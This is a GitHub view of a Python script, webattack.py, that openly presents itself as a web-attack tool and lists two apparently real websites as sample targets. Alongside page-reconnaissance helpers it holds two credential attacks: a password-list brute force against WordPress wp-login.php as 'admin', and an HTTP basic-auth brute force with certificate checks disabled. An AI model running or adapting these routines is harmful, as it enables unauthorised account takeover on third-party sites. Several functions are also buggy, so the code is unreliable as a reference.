-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwebattack.py
More file actions
247 lines (199 loc) · 6.07 KB
/
webattack.py
File metadata and controls
247 lines (199 loc) · 6.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
#!/usr/bin/env python3
"""Web Attack
Attacking web forms with requests and beautifulsoup
Sample Website:
- https://www.monographcomms.ca/
- http://www.timbrack.de/
Usage: $ python3 webattack.py <target>
Arguments:
-_param_ <type>: _description_
"""
import sys
import bs4
import requests
def check_status(target: str) -> int:
"""Checks status of a web page
Args:
target (str): URL for web form
Returns:
int: Status code
"""
try:
r = requests.get(target)
print(f"Status for <{target}>: {r.status_code}")
return r.status_code
except Exception as e:
print(f"Exception: {e}")
return None
def check_server(target: str) -> str:
"""Checks server of a web page
Args:
target (str): URL for web form
Returns:
str: Server value
"""
try:
r = requests.get(target)
print(f"Server for <{target}>: {r.headers.get('server')}")
return r.status_code
except Exception as e:
print(f"Exception: {e}")
def get_headers(target: str) -> dict:
"""Gets the headers of a web page
Args:
target (str): URL for web form
Returns:
dict: Dictionary of headers
"""
try:
r = requests.get(target)
print(f"Headers for <{target}>:")
for key, value in r.headers.items():
print(f"\t{key}: {value}")
return r.headers
except Exception as e:
print(f"Exception: {e}")
def get_title(target: str) -> str:
"""Gets the title of a web page
Args:
target (str): URL for web form
Returns:
str: The title
"""
try:
r = requests.get(target)
soup = bs4.BeautifulSoup(r.text, "html.parser")
title = soup.title.string
print(f"Title for <{target}>: {title}")
return title
except Exception as e:
print(f"Exception: {e}")
def get_urls(target: str) -> list:
"""Gets the urls of a web page
Args:
target (str): URL for web form
Returns:
list: The urls
"""
try:
r = requests.get(target)
soup = bs4.BeautifulSoup(r.text, "html.parser")
links = soup.find_all("a", href=True)
urls = list(set([link["href"] for link in links]))
print(f"Title for <{target}>: {urls}")
return urls
except Exception as e:
print(f"Exception: {e}")
def get_images(target: str) -> list:
"""Gets the images of a web page
Args:
target (str): URL for web form
Returns:
list: The images
"""
try:
r = requests.get(target)
soup = bs4.BeautifulSoup(r.text, "html.parser")
links = soup.find_all("img")
tags = [img["src"] for img in links]
print(f"Title for <{target}>: {tags}")
return tags
except Exception as e:
print(f"Exception: {e}")
def get_text(target: str) -> str:
"""Gets the text of a web page
Args:
target (str): URL for web form
Returns:
str: String response from GET request
"""
try:
r = requests.get(target)
print(f"Text for <{target}>:")
soup = bs4.BeautifulSoup(r.text, "html.parser")
print(type(soup), soup.prettify())
return soup.prettify()
except Exception as e:
print(f"Exception: {e}")
def wp_brute_force_attack(target: str) -> str:
"""Attempts to bruteforce a WordPress CMS login
Args:
target (str): URL for a WordPress CMS login
Returns:
list: password on success else none
"""
try:
target = f"{target}/wp-login.php"
if check_status(target) != 200:
print("Page does not exist, stopping...")
return None
password_file = "resources/passwords.txt"
passwords = [line.rstrip("\n") for line in open(password_file)]
for password in passwords:
print(f"Attempting password {password}... ", end="")
attempt = requests.post(target, data={"log": "admin", "pwd": password})
if "incorrect" not in attempt.text:
print("SUCCESS")
return password
else:
print("FAIL")
return None
except Exception as e:
print(f"Exception: {e}")
def wp_token_attack(target: str) -> str:
"""Attempts to steal the token of user <anon> on WordPress CMS
Args:
target (str): URL for a WordPress CMS token
Returns:
list: password on success else none
"""
try:
target = f"{target}/token/index.html"
username = "anon"
timeout = 5
if check_status(target) != 200:
print("Page does not exist, stopping...")
return None
password_file = "resources/passwords.txt"
passwords = [line.rstrip("\n") for line in open(password_file)]
for password in passwords:
print(f"Attempting password {password}... ", end="")
attempt = requests.auth.HTTPBasicAuth(username, password)
resp = requests.get(url=target, auth=attempt, verify=False, timeout=timeout)
if "401" not in attempt.text:
print("SUCCESS")
return password
else:
print("FAIL")
return None
except Exception as e:
print(f"Exception: {e}")
def prompt(target: str) -> None:
"""Prompt for what to do
Args:
target (str): URL for web form
"""
tasks = {
"1": check_status,
"2": check_server,
"3": get_headers,
"4": get_text,
"5": get_title,
"6": get_urls,
"7": get_images,
"8": wp_brute_force_attack,
"9": wp_token_attack,
}
choice = None
while choice not in tasks.keys():
print("Choose one of the following:")
for key, val in tasks.items():
print(f"\t{key}: {val.__name__}")
choice = input("Choice (input integer value): ")
print(f"Target is <{target}>...")
tasks[choice](target)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target>")
sys.exit(1)
prompt(sys.argv[1])